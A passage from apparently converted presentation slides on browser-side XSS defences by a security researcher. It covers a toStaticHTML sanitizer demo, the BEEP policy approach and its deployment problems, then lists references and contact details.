    var szStaticHTML = toStaticHTML(szInput);
    ResultComment = "\ntoStaticHTML sanitized the HTML fragment as follows:\n" + "Original Content:\n" + szInput + "\n" + "Static Content:\n" + szStaticHTML + "\n";
    myDiv.innerText = ResultComment;
}
</script>
```
BEEP - BROWSER ENFORCED EMBEDDED POLICIES

- Utilizing browser efficiency to detect XSS attacks.
  - Concept – pre knowledge of script execution.
  - Browsers capability for parsing and rendering content.
  - Website supplying the policy parameters.
  - Parsing security hooks for execution in dynamic web page.
  - Policies – white listing, DOM sandbox, custom lists etc.
  - White listing – hash indexing is followed.
BEEP - REAL WORLD DEPLOYMENT PROBLEMS

• Browsers design need to be changed. Modifications.

  Vendor decision to enhance code.

  – Heavy task in installing Security Hook functions

  Excessive overhead. processing Power.

  – Extra Execution. Repeated Invocations of hook functions

  Complexity and optimization for heavy duty websites

  – Maintaining DOM tree Integrity

  Untamed parsing changes lead to tree corruption

  – Dual Change – website and browsers

  New benchmark, standards not a feasible model
QUESTIONS / QUERIES!

Understand the intricacies and make a choice.
REFERENCES AND MORE CONTENT

http://secniche.org/papers/SNS_09_03_PDF_Silent_Form_Re_Purp_Attack.pdf
http://secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
http://people.mozilla.org/~bsterne/content-security-policy/demo.cgi
https://wiki.mozilla.org/Security/CSP
http://zeroknock.blogspot.com/2009/12/google-chrome-webkit-msword-scripting.html
http://isis.poly.edu/~csaw_research/Mike%20Ter%20Louw.pdf
http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
THANKS

RSA Conference Organization
COSEINC

All Security Community for their Efforts.

__________________________________________

Aditya K Sood , Security Researcher (VRL)

Email: aditya@research.coseinc.com || adi.zerok@gmail.com